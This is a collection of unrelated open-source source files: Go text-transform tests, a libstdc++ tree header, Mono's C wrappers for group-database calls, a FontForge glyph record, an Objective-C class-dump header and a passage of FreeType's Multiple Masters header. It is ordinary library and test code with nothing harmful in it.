"1a2b3c10d", wantErr: errShortInternal, }, } } func doTransform(tc testCase) (res string, iter int, err error) { tc.t.Reset() dst := make([]byte, tc.dstSize) out, in := make([]byte, 0, 2*len(tc.src)), []byte(tc.src) for { iter++ src, atEOF := in, true if len(src) > tc.srcSize { src, atEOF = src[:tc.srcSize], false } nDst, nSrc, err := tc.t.Transform(dst, src, atEOF) out = append(out, dst[:nDst]...) in = in[nSrc:] switch { case err == nil && len(in) != 0: case err == ErrShortSrc && nSrc > 0: case err == ErrShortDst && (nDst > 0 || nSrc > 0): default: return string(out), iter, err } } } func TestChain(t *testing.T) { if c, ok := Chain().(nop); !ok { t.Errorf("empty chain: %v; want Nop", c) } // Test Chain for a single Transformer. for _, tc := range testCases { tc.t = Chain(tc.t) str, _, err := doTransform(tc) if str != tc.wantStr || err != tc.wantErr { t.Errorf("%s:\ngot %q, %v\nwant %q, %v", tc, str, err, tc.wantStr, tc.wantErr) } } tests := chainTests() sizes := []int{1, 2, 3, 4, 5, 7, 10, 100, 1000} addTest := func(tc testCase, t *chain) { if t.link[0].t != tc.t && tc.wantErr == ErrShortSrc { tc.wantErr = errShortInternal } if t.link[len(t.link)-2].t != tc.t && tc.wantErr == ErrShortDst { tc.wantErr = errShortInternal } tc.t = t tests = append(tests, tc) } for _, tc := range testCases { for _, sz := range sizes { tt := tc tt.dstSize = sz addTest(tt, mkChain(tc.t, tc.dstSize, Nop)) addTest(tt, mkChain(tc.t, tc.dstSize, Nop, 2, Nop)) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop)) if sz >= tc.dstSize && (tc.wantErr != ErrShortDst || sz == tc.dstSize) { addTest(tt, mkChain(Nop, tc.srcSize, tc.t)) addTest(tt, mkChain(Nop, 100, Nop, tc.srcSize, tc.t)) } } } for _, tc := range testCases { tt := tc tt.dstSize = 1 tt.wantStr = "" addTest(tt, mkChain(tc.t, tc.dstSize, Discard)) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Discard)) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop, tc.dstSize, Discard)) } for _, tc := range testCases { tt := tc tt.dstSize = 100 tt.wantStr = strings.Replace(tc.src, "0f", "", -1) // Chain encoders and decoders. if _, ok := tc.t.(rleEncode); ok && tc.wantErr == nil { addTest(tt, mkChain(tc.t, tc.dstSize, Nop, 1000, rleDecode{})) addTest(tt, mkChain(tc.t, tc.dstSize, Nop, tc.dstSize, rleDecode{})) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop, 100, rleDecode{})) // decoding needs larger destinations addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, rleDecode{}, 100, Nop)) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop, 100, rleDecode{}, 100, Nop)) } else if _, ok := tc.t.(rleDecode); ok && tc.wantErr == nil { // The internal buffer size may need to be the sum of the maximum segment // size of the two encoders! addTest(tt, mkChain(tc.t, 2*tc.dstSize, rleEncode{})) addTest(tt, mkChain(tc.t, tc.dstSize, Nop, 101, rleEncode{})) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop, 100, rleEncode{})) addTest(tt, mkChain(Nop, tc.srcSize, tc.t, tc.dstSize, Nop, 200, rleEncode{}, 100, Nop)) } } for _, tc := range tests { str, iter, err := doTransform(tc) mi := tc.wantIter != 0 && tc.wantIter != iter if str != tc.wantStr || err != tc.wantErr || mi { t.Errorf("%s:\ngot iter:%d, %q, %v\nwant iter:%d, %q, %v", tc, iter, str, err, tc.wantIter, tc.wantStr, tc.wantErr) } break } } func TestRemoveFunc(t *testing.T) { filter := RemoveFunc(func(r rune) bool { return strings.IndexRune("ab\u0300\u1234,", r) != -1 }) tests := []testCase{ { src: ",", wantStr: "", }, { src: "c", wantStr: "c", }, { src: "\u2345", wantStr: "\u2345", }, { src: "tschüß", wantStr: "tschüß", }, { src: ",до,свидания,", wantStr: "досвидания", }, { src: "a\xbd\xb2=\xbc ⌘", wantStr: "\uFFFD\uFFFD=\uFFFD ⌘", }, { // If we didn't replace illegal bytes with RuneError, the result // would be \u0300 or the code would need to be more complex. src: "\xcc\u0300\x80", wantStr: "\uFFFD\uFFFD", }, { src: "\xcc\u0300\x80", dstSize: 3, wantStr: "\uFFFD\uFFFD", wantIter: 2, }, { // Test a long buffer greater than the internal buffer size src: "hello\xcc\xcc\xccworld", srcSize: 13, wantStr: "hello\uFFFD\uFFFD\uFFFDworld", wantIter: 1, }, { src: "\u2345", dstSize: 2, wantStr: "", wantErr: ErrShortDst, }, { src: "\xcc", dstSize: 2, wantStr: "", wantErr: ErrShortDst, }, { src: "\u0300", dstSize: 2, srcSize: 1, wantStr: "", wantErr: ErrShortSrc, }, { t: RemoveFunc(func(r rune) bool { return r == utf8.RuneError }), src: "\xcc\u0300\x80", wantStr: "\u0300", }, } for _, tc := range tests { tc.desc = tc.src if tc.t == nil { tc.t = filter } if tc.dstSize == 0 { tc.dstSize = 100 } if tc.srcSize == 0 { tc.srcSize = 100 } str, iter, err := doTransform(tc) mi := tc.wantIter != 0 && tc.wantIter != iter if str != tc.wantStr || err != tc.wantErr || mi { t.Errorf("%+q:\ngot iter:%d, %+q, %v\nwant iter:%d, %+q, %v", tc.src, iter, str, err, tc.wantIter, tc.wantStr, tc.wantErr) } tc.src = str idem, _, _ := doTransform(tc) if str != idem { t.Errorf("%+q: found %+q; want %+q", tc.src, idem, str) } } } func testString(t *testing.T, f func(Transformer, string) (string, int, error)) { for _, tt := range append(testCases, chainTests()...) { if tt.desc == "allowStutter = true" { // We don't have control over the buffer size, so we eliminate tests // that depend on a specific buffer size being set. continue } if tt.wantErr == ErrShortDst || tt.wantErr == ErrShortSrc { // The result string will be different. continue } got, n, err := f(tt.t, tt.src) if tt.wantErr != err { t.Errorf("%s:error: got %v; want %v", tt.desc, err, tt.wantErr) } if got, want := err == nil, n == len(tt.src); got != want { t.Errorf("%s:n: got %v; want %v", tt.desc, got, want) } if got != tt.wantStr { t.Errorf("%s:string: got %q; want %q", tt.desc, got, tt.wantStr) } } } func TestBytes(t *testing.T) { testString(t, func(z Transformer, s string) (string, int, error) { b, n, err := Bytes(z, []byte(s)) return string(b), n, err }) } func TestString(t *testing.T) { testString(t, String) // Overrun the internal destination buffer. for i, s := range []string{ strings.Repeat("a", initialBufSize-1), strings.Repeat("a", initialBufSize+0), strings.Repeat("a", initialBufSize+1), strings.Repeat("A", initialBufSize-1), strings.Repeat("A", initialBufSize+0), strings.Repeat("A", initialBufSize+1), strings.Repeat("A", 2*initialBufSize-1), strings.Repeat("A", 2*initialBufSize+0), strings.Repeat("A", 2*initialBufSize+1), strings.Repeat("a", initialBufSize-2) + "A", strings.Repeat("a", initialBufSize-1) + "A", strings.Repeat("a", initialBufSize+0) + "A", strings.Repeat("a", initialBufSize+1) + "A", } { got, _, _ := String(lowerCaseASCII{}, s) if want := strings.ToLower(s); got != want { t.Errorf("%d:dst buffer test: got %s (%d); want %s (%d)", i, got, len(got), want, len(want)) } } // Overrun the internal source buffer. for i, s := range []string{ strings.Repeat("a", initialBufSize-1), strings.Repeat("a", initialBufSize+0), strings.Repeat("a", initialBufSize+1), strings.Repeat("a", 2*initialBufSize+1), strings.Repeat("a", 2*initialBufSize+0), strings.Repeat("a", 2*initialBufSize+1), } { got, _, _ := String(rleEncode{}, s) if want := fmt.Sprintf("%da", len(s)); got != want { t.Errorf("%d:src buffer test: got %s (%d); want %s (%d)", i, got, len(got), want, len(want)) } } // Test allocations for non-changing strings. // Note we still need to allocate a single buffer. for i, s := range []string{ "", "123", "123456789", strings.Repeat("a", initialBufSize), strings.Repeat("a", 10*initialBufSize), } { if n := testing.AllocsPerRun(5, func() { String(&lowerCaseASCII{}, s) }); n > 1 { t.Errorf("%d: #allocs was %f; want 1", i, n) } } } // TestBytesAllocation tests that buffer growth stays limited with the trickler // transformer, which behaves oddly but within spec. In case buffer growth is // not correctly handled, the test will either panic with a failed allocation or // thrash. To ensure the tests terminate under the last condition, we time out // after some sufficiently long period of time. func TestBytesAllocation(t *testing.T) { done := make(chan bool) go func() { in := bytes.Repeat([]byte{'a'}, 1000) tr := trickler(make([]byte, 1)) Bytes(&tr, in) done <- true }() select { case <-done: case <-time.After(3 * time.Second): t.Error("time out, likely due to excessive allocation") } } // TestStringAllocation tests that buffer growth stays limited with the trickler // transformer, which behaves oddly but within spec. In case buffer growth is // not correctly handled, the test will either panic with a failed allocation or // thrash. To ensure the tests terminate under the last condition, we time out // after some sufficiently long period of time. func TestStringAllocation(t *testing.T) { done := make(chan bool) go func() { in := strings.Repeat("a", 1000) tr := trickler(make([]byte, 1)) String(&tr, in) done <- true }() select { case <-done: case <-time.After(3 * time.Second): t.Error("time out, likely due to excessive allocation") } } func BenchmarkStringLower(b *testing.B) { in := strings.Repeat("a", 4096) for i := 0; i < b.N; i++ { String(&lowerCaseASCII{}, in) } }
{ "pile_set_name": "Github" }
// -*- C++ -*- // Copyright (C) 2005, 2006, 2007, 2008, 2009, 2010, 2011 // Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the terms // of the GNU General Public License as published by the Free Software // Foundation; either version 3, or (at your option) any later // version. // This library is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. // Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL. // Permission to use, copy, modify, sell, and distribute this software // is hereby granted without fee, provided that the above copyright // notice appears in all copies, and that both that copyright notice // and this permission notice appear in supporting documentation. None // of the above authors, nor IBM Haifa Research Laboratories, make any // representation about the suitability of this software for any // purpose. It is provided "as is" without express or implied // warranty. /** * @file bin_search_tree_/constructors_destructor_fn_imps.hpp * Contains an implementation class for bin_search_tree_. */ PB_DS_CLASS_T_DEC typename PB_DS_CLASS_C_DEC::node_allocator PB_DS_CLASS_C_DEC::s_node_allocator; PB_DS_CLASS_T_DEC PB_DS_CLASS_C_DEC:: PB_DS_BIN_TREE_NAME() : m_p_head(s_node_allocator.allocate(1)), m_size(0) { initialize(); PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) } PB_DS_CLASS_T_DEC PB_DS_CLASS_C_DEC:: PB_DS_BIN_TREE_NAME(const Cmp_Fn& r_cmp_fn) : Cmp_Fn(r_cmp_fn), m_p_head(s_node_allocator.allocate(1)), m_size(0) { initialize(); PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) } PB_DS_CLASS_T_DEC PB_DS_CLASS_C_DEC:: PB_DS_BIN_TREE_NAME(const Cmp_Fn& r_cmp_fn, const node_update& r_node_update) : Cmp_Fn(r_cmp_fn), node_update(r_node_update), m_p_head(s_node_allocator.allocate(1)), m_size(0) { initialize(); PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) } PB_DS_CLASS_T_DEC PB_DS_CLASS_C_DEC:: PB_DS_BIN_TREE_NAME(const PB_DS_CLASS_C_DEC& other) : #ifdef _GLIBCXX_DEBUG debug_base(other), #endif #ifdef PB_DS_TREE_TRACE PB_DS_TREE_TRACE_BASE_C_DEC(other), #endif Cmp_Fn(other), node_update(other), m_p_head(s_node_allocator.allocate(1)), m_size(0) { initialize(); m_size = other.m_size; PB_DS_STRUCT_ONLY_ASSERT_VALID(other) __try { m_p_head->m_p_parent = recursive_copy_node(other.m_p_head->m_p_parent); if (m_p_head->m_p_parent != 0) m_p_head->m_p_parent->m_p_parent = m_p_head; m_size = other.m_size; initialize_min_max(); } __catch(...) { _GLIBCXX_DEBUG_ONLY(debug_base::clear();) s_node_allocator.deallocate(m_p_head, 1); __throw_exception_again; } PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) } PB_DS_CLASS_T_DEC void PB_DS_CLASS_C_DEC:: swap(PB_DS_CLASS_C_DEC& other) { PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) PB_DS_STRUCT_ONLY_ASSERT_VALID(other) value_swap(other); std::swap((Cmp_Fn& )(*this), (Cmp_Fn& )other); PB_DS_STRUCT_ONLY_ASSERT_VALID((*this)) PB_DS_STRUCT_ONLY_ASSERT_VALID(other) } PB_DS_CLASS_T_DEC void PB_DS_CLASS_C_DEC:: value_swap(PB_DS_CLASS_C_DEC& other) { _GLIBCXX_DEBUG_ONLY(debug_base::swap(other);) std::swap(m_p_head, other.m_p_head); std::swap(m_size, other.m_size); } PB_DS_CLASS_T_DEC PB_DS_CLASS_C_DEC:: ~PB_DS_BIN_TREE_NAME() { clear(); s_node_allocator.deallocate(m_p_head, 1); } PB_DS_CLASS_T_DEC void PB_DS_CLASS_C_DEC:: initialize() { m_p_head->m_p_parent = 0; m_p_head->m_p_left = m_p_head; m_p_head->m_p_right = m_p_head; m_size = 0; } PB_DS_CLASS_T_DEC typename PB_DS_CLASS_C_DEC::node_pointer PB_DS_CLASS_C_DEC:: recursive_copy_node(const node_pointer p_nd) { if (p_nd == 0) return (0); node_pointer p_ret = s_node_allocator.allocate(1); __try { new (p_ret) node(*p_nd); } __catch(...) { s_node_allocator.deallocate(p_ret, 1); __throw_exception_again; } p_ret->m_p_left = p_ret->m_p_right = 0; __try { p_ret->m_p_left = recursive_copy_node(p_nd->m_p_left); p_ret->m_p_right = recursive_copy_node(p_nd->m_p_right); } __catch(...) { clear_imp(p_ret); __throw_exception_again; } if (p_ret->m_p_left != 0) p_ret->m_p_left->m_p_parent = p_ret; if (p_ret->m_p_right != 0) p_ret->m_p_right->m_p_parent = p_ret; PB_DS_ASSERT_NODE_CONSISTENT(p_ret) return p_ret; } PB_DS_CLASS_T_DEC void PB_DS_CLASS_C_DEC:: initialize_min_max() { if (m_p_head->m_p_parent == 0) { m_p_head->m_p_left = m_p_head->m_p_right = m_p_head; return; } { node_pointer p_min = m_p_head->m_p_parent; while (p_min->m_p_left != 0) p_min = p_min->m_p_left; m_p_head->m_p_left = p_min; } { node_pointer p_max = m_p_head->m_p_parent; while (p_max->m_p_right != 0) p_max = p_max->m_p_right; m_p_head->m_p_right = p_max; } }
{ "pile_set_name": "Github" }
/* * <grp.h> wrapper functions. * * Authors: * Jonathan Pryor ([email protected]) * * Copyright (C) 2004-2005 Jonathan Pryor */ #include <sys/types.h> #ifdef HAVE_SYS_PARAM_H #include <sys/param.h> #endif #include <grp.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> /* for setgroups on Mac OS X */ #include "map.h" #include "mph.h" G_BEGIN_DECLS static void count_members (char **gr_mem, int *count, size_t *mem) { char *cur; *count = 0; // ensure that later (*mem)+1 doesn't result in integer overflow if (*mem > INT_MAX - 1) return; for (cur = *gr_mem; cur != NULL; cur = *++gr_mem) { size_t len; len = strlen (cur); if (!(len < INT_MAX - ((*mem) + 1))) break; ++(*count); *mem += (len + 1); } } static int copy_group (struct Mono_Posix_Syscall__Group *to, struct group *from) { size_t nlen, plen, buflen; int i, count; char *cur, **to_mem; to->gr_gid = from->gr_gid; to->gr_name = NULL; to->gr_passwd = NULL; to->gr_mem = NULL; to->_gr_buf_ = NULL; nlen = strlen (from->gr_name); plen = strlen (from->gr_passwd); buflen = 2; if (!(nlen < INT_MAX - buflen)) return -1; buflen += nlen; if (!(plen < INT_MAX - buflen)) return -1; buflen += plen; count = 0; count_members (from->gr_mem, &count, &buflen); to->_gr_nmem_ = count; cur = to->_gr_buf_ = (char*) malloc (buflen); to_mem = to->gr_mem = malloc (sizeof(char*)*(count+1)); if (to->_gr_buf_ == NULL || to->gr_mem == NULL) { free (to->_gr_buf_); free (to->gr_mem); return -1; } to->gr_name = strcpy (cur, from->gr_name); cur += (nlen + 1); to->gr_passwd = strcpy (cur, from->gr_passwd); cur += (plen + 1); for (i = 0; i != count; ++i) { to_mem [i] = strcpy (cur, from->gr_mem[i]); cur += (strlen (from->gr_mem[i])+1); } to_mem [i] = NULL; return 0; } gint32 Mono_Posix_Syscall_getgrnam (const char *name, struct Mono_Posix_Syscall__Group *gbuf) { struct group *_gbuf; if (gbuf == NULL) { errno = EFAULT; return -1; } errno = 0; _gbuf = getgrnam (name); if (_gbuf == NULL) return -1; if (copy_group (gbuf, _gbuf) == -1) { errno = ENOMEM; return -1; } return 0; } gint32 Mono_Posix_Syscall_getgrgid (mph_gid_t gid, struct Mono_Posix_Syscall__Group *gbuf) { struct group *_gbuf; if (gbuf == NULL) { errno = EFAULT; return -1; } errno = 0; _gbuf = getgrgid (gid); if (_gbuf == NULL) return -1; if (copy_group (gbuf, _gbuf) == -1) { errno = ENOMEM; return -1; } return 0; } #ifdef HAVE_GETGRNAM_R gint32 Mono_Posix_Syscall_getgrnam_r (const char *name, struct Mono_Posix_Syscall__Group *gbuf, void **gbufp) { char *buf, *buf2; size_t buflen; int r; struct group _grbuf; if (gbuf == NULL) { errno = EFAULT; return -1; } buf = buf2 = NULL; buflen = 2; do { buf2 = realloc (buf, buflen *= 2); if (buf2 == NULL) { free (buf); errno = ENOMEM; return -1; } buf = buf2; errno = 0; } while ((r = getgrnam_r (name, &_grbuf, buf, buflen, (struct group**) gbufp)) && recheck_range (r)); /* On Solaris, this function returns 0 even if the entry was not found */ if (r == 0 && !(*gbufp)) r = errno = ENOENT; if (r == 0 && copy_group (gbuf, &_grbuf) == -1) r = errno = ENOMEM; free (buf); return r; } #endif /* ndef HAVE_GETGRNAM_R */ #ifdef HAVE_GETGRGID_R gint32 Mono_Posix_Syscall_getgrgid_r (mph_gid_t gid, struct Mono_Posix_Syscall__Group *gbuf, void **gbufp) { char *buf, *buf2; size_t buflen; int r; struct group _grbuf; if (gbuf == NULL) { errno = EFAULT; return -1; } buf = buf2 = NULL; buflen = 2; do { buf2 = realloc (buf, buflen *= 2); if (buf2 == NULL) { free (buf); errno = ENOMEM; return -1; } buf = buf2; errno = 0; } while ((r = getgrgid_r (gid, &_grbuf, buf, buflen, (struct group**) gbufp)) && recheck_range (r)); /* On Solaris, this function returns 0 even if the entry was not found */ if (r == 0 && !(*gbufp)) r = errno = ENOENT; if (r == 0 && copy_group (gbuf, &_grbuf) == -1) r = errno = ENOMEM; free (buf); return r; } #endif /* ndef HAVE_GETGRGID_R */ #if HAVE_GETGRENT gint32 Mono_Posix_Syscall_getgrent (struct Mono_Posix_Syscall__Group *grbuf) { struct group *gr; if (grbuf == NULL) { errno = EFAULT; return -1; } errno = 0; gr = getgrent (); if (gr == NULL) return -1; if (copy_group (grbuf, gr) == -1) { errno = ENOMEM; return -1; } return 0; } #endif /* def HAVE_GETGRENT */ #ifdef HAVE_FGETGRENT gint32 Mono_Posix_Syscall_fgetgrent (void *stream, struct Mono_Posix_Syscall__Group *grbuf) { struct group *gr; if (grbuf == NULL) { errno = EFAULT; return -1; } errno = 0; gr = fgetgrent ((FILE*) stream); if (gr == NULL) return -1; if (copy_group (grbuf, gr) == -1) { errno = ENOMEM; return -1; } return 0; } #endif /* ndef HAVE_FGETGRENT */ #if HAVE_SETGROUPS gint32 Mono_Posix_Syscall_setgroups (mph_size_t size, mph_gid_t *list) { mph_return_if_size_t_overflow (size); return setgroups ((size_t) size, list); } #endif /* def HAVE_SETGROUPS */ #if HAVE_SETGRENT int Mono_Posix_Syscall_setgrent (void) { errno = 0; do { setgrent (); } while (errno == EINTR); mph_return_if_val_in_list5(errno, EIO, EMFILE, ENFILE, ENOMEM, ERANGE); return 0; } #endif /* def HAVE_SETGRENT */ #if HAVE_ENDGRENT int Mono_Posix_Syscall_endgrent (void) { endgrent(); return 0; } #endif /* def HAVE_ENDGRENT */ G_END_DECLS /* * vim: noexpandtab */
{ "pile_set_name": "Github" }
StartChar: Eng Encoding: 621 330 365 GlifName: E_ng Width: 1246 VWidth: 0 Flags: W HStem: -433 140<752.668 918.774> 0 21G<156 312> VStem: 156 156<0 1136> 934 156<-253.824 -2 280 1416> LayerCount: 4 Back Fore SplineSet 934 1416 m 1 1090 1416 l 1 1090 -121 l 2 1090 -223 1085 -268 1056 -319 c 0 1015.0444431 -391.025289719 938 -433 837 -433 c 0 796.627906977 -433 754.333333333 -424.666666667 713 -408 c 1 764 -277 l 1 787.470588235 -286.6 814.294117647 -293 840 -293 c 0 873 -293 902.108825979 -281.485290035 918 -255 c 0 933 -230 934 -199 934 -121 c 2 934 -2 l 1 312 1136 l 1 312 0 l 1 156 0 l 1 156 1416 l 1 313 1416 l 1 934 280 l 1 934 1416 l 1 EndSplineSet Layer: 2 Layer: 3 EndChar
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <ProtocolBuffer/PBCodable.h> #import <GeoServices/NSCopying-Protocol.h> @class GEOTransitEntry, PBUnknownFields; @interface GEOTransitScheduleInfo : PBCodable <NSCopying> { PBUnknownFields *_unknownFields; GEOTransitEntry *_entry; } + (BOOL)isValid:(id)arg1; - (void).cxx_destruct; - (void)clearUnknownFields:(BOOL)arg1; @property(readonly, nonatomic) PBUnknownFields *unknownFields; - (void)mergeFrom:(id)arg1; - (unsigned long long)hash; - (BOOL)isEqual:(id)arg1; - (id)copyWithZone:(struct _NSZone *)arg1; - (void)copyTo:(id)arg1; - (void)writeTo:(id)arg1; - (BOOL)readFrom:(id)arg1; - (void)readAll:(BOOL)arg1; - (id)dictionaryRepresentation; - (id)description; @property(retain, nonatomic) GEOTransitEntry *entry; @property(readonly, nonatomic) BOOL hasEntry; - (id)routingParameters; - (id)windowStartDate; - (id)staticDepartureDate; - (unsigned long long)lineID; - (unsigned long long)tripID; @end
{ "pile_set_name": "Github" }
/***************************************************************************/ /* */ /* ftmm.h */ /* */ /* FreeType Multiple Master font interface (specification). */ /* */ /* Copyright 1996-2001, 2003, 2004, 2006 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef __FTMM_H__ #define __FTMM_H__ #include <ft2build.h> #include FT_TYPE1_TABLES_H FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* multiple_masters */ /* */ /* <Title> */ /* Multiple Masters */ /* */ /* <Abstract> */ /* How to manage Multiple Masters fonts. */ /* */ /* <Description> */ /* The following types and functions are used to manage Multiple */ /* Master fonts, i.e., the selection of specific design instances by */ /* setting design axis coordinates. */ /* */ /* George Williams has extended this interface to make it work with */ /* both Type 1 Multiple Masters fonts and GX distortable (var) */ /* fonts. Some of these routines only work with MM fonts, others */ /* will work with both types. They are similar enough that a */ /* consistent interface makes sense. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* FT_MM_Axis */ /* */ /* <Description> */ /* A simple structure used to model a given axis in design space for */ /* Multiple Masters fonts. */ /* */ /* This structure can't be used for GX var fonts. */ /* */ /* <Fields> */ /* name :: The axis's name. */ /* */ /* minimum :: The axis's minimum design coordinate. */ /* */ /* maximum :: The axis's maximum design coordinate. */ /* */ typedef struct FT_MM_Axis_ { FT_String* name; FT_Long minimum; FT_Long maximum; } FT_MM_Axis; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Multi_Master */ /* */ /* <Description> */ /* A structure used to model the axes and space of a Multiple Masters */ /* font. */ /* */ /* This structure can't be used for GX var fonts. */ /* */ /* <Fields> */ /* num_axis :: Number of axes. Cannot exceed 4. */ /* */ /* num_designs :: Number of designs; should be normally 2^num_axis */ /* even though the Type 1 specification strangely */ /* allows for intermediate designs to be present. This */ /* number cannot exceed 16. */ /* */ /* axis :: A table of axis descriptors. */ /* */ typedef struct FT_Multi_Master_ { FT_UInt num_axis; FT_UInt num_designs; FT_MM_Axis axis[T1_MAX_MM_AXIS]; } FT_Multi_Master; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Var_Axis */ /* */ /* <Description> */ /* A simple structure used to model a given axis in design space for */ /* Multiple Masters and GX var fonts. */ /* */ /* <Fields> */ /* name :: The axis's name. */ /* Not always meaningful for GX. */ /* */ /* minimum :: The axis's minimum design coordinate. */ /* */ /* def :: The axis's default design coordinate. */ /* FreeType computes meaningful default values for MM; it */ /* is then an integer value, not in 16.16 format. */ /* */ /* maximum :: The axis's maximum design coordinate. */ /* */ /* tag :: The axis's tag (the GX equivalent to `name'). */ /* FreeType provides default values for MM if possible. */ /* */ /* strid :: The entry in `name' table (another GX version of */ /* `name'). */ /* Not meaningful for MM. */ /* */ typedef struct FT_Var_Axis_ { FT_String* name; FT_Fixed minimum; FT_Fixed def; FT_Fixed maximum; FT_ULong tag; FT_UInt strid; } FT_Var_Axis; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Var_Named_Style */ /* */ /* <Description> */ /* A simple structure used to model a named style in a GX var font. */ /* */ /* This structure can't be used for MM fonts. */ /* */ /* <Fields> */ /* coords :: The design coordinates for this style. */ /* This is an array with one entry for each axis. */ /* */ /* strid :: The entry in `name' table identifying this style. */ /* */ typedef struct FT_Var_Named_Style_ { FT_Fixed* coords; FT_UInt strid; } FT_Var_Named_Style; /*************************************************************************/ /* */ /* <Struct> */ /* FT_MM_Var */ /* */ /* <Description> */ /* A structure used to model the axes and space of a Multiple Masters */ /* or GX var distortable font. */ /* */ /* Some fields are specific to one format and not to the other. */ /* */ /* <Fields> */ /* num_axis :: The number of axes. The maximum value is 4 for */ /* MM; no limit in GX. */ /* */ /* num_designs :: The number of designs; should be normally */ /* 2^num_axis for MM fonts. Not meaningful for GX */ /* (where every glyph could have a different */ /* number of designs). */ /* */ /* num_namedstyles :: The number of named styles; only meaningful for */ /* GX which allows certain design coordinates to */ /* have a string ID (in the `name' table) */ /* associated with them. The font can tell the */ /* user that, for example, Weight=1.5 is `Bold'. */ /* */ /* axis :: A table of axis descriptors. */ /* GX fonts contain slightly more data than MM. */ /* */ /* namedstyles :: A table of named styles. */ /* Only meaningful with GX. */ /* */ typedef struct FT_MM_Var_ { FT_UInt num_axis; FT_UInt num_designs; FT_UInt num_namedstyles; FT_Var_Axis* axis; FT_Var_Named_Style* namedstyle; } FT_MM_Var; /* */ /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Multi_Master */ /* */ /* <Description> */ /* Retrieves the Multiple Master descriptor of a given font. */ /* */ /* This function can't be used with GX fonts. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* <Output> */ /* amaster :: The Multiple Masters descriptor. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Multi_Master( FT_Face face, FT_Multi_Master *amaster ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_MM_Var */ /* */ /* <Description> */ /* Retrieves the Multiple Master/GX var descriptor of a given font. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* <Output> */ /* amaster :: The Multiple Masters descriptor. */ /* Allocates a data structure, which the user must free */ /* (a single call to FT_FREE will do it). */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_EXPORT( FT_Error ) FT_Get_MM_Var( FT_Face face, FT_MM_Var* *amaster ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_MM_Design_Coordinates */ /* */ /* <Description> */ /* For Multiple Masters fonts, choose an interpolated font design */ /* through design coordinates. */ /* */ /* This function can't be used with GX fonts. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of design coordinates (must be equal to */ /* the number of axes in the font). */ /* */ /* coords :: An array of design coordinates. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_EXPORT( FT_Error ) FT_Set_MM_Design_Coordinates( FT_Face face, FT_UInt num_coords, FT_Long* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Var_Design_Coordinates */ /* */ /* <Description> */ /* For Multiple Master or GX Var fonts, choose an interpolated font */ /* design through design coordinates. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of design coordinates (must be equal to */ /* the number of axes in the font). */ /* */ /* coords :: An array of design coordinates. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Var_Design_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_MM_Blend_Coordinates */ /* */ /* <Description> */ /* For Multiple Masters and GX var fonts, choose an interpolated font */ /* design through normalized blend coordinates. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of design coordinates (must be equal to */ /* the number of axes in the font). */ /* */ /* coords :: The design coordinates array (each element must be */ /* between 0 and 1.0). */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_EXPORT( FT_Error ) FT_Set_MM_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_Var_Blend_Coordinates */ /* */ /* <Description> */ /* This is another name of @FT_Set_MM_Blend_Coordinates. */ /* */ FT_EXPORT( FT_Error ) FT_Set_Var_Blend_Coordinates( FT_Face face, FT_UInt num_coords, FT_Fixed* coords ); /* */ FT_END_HEADER #endif /* 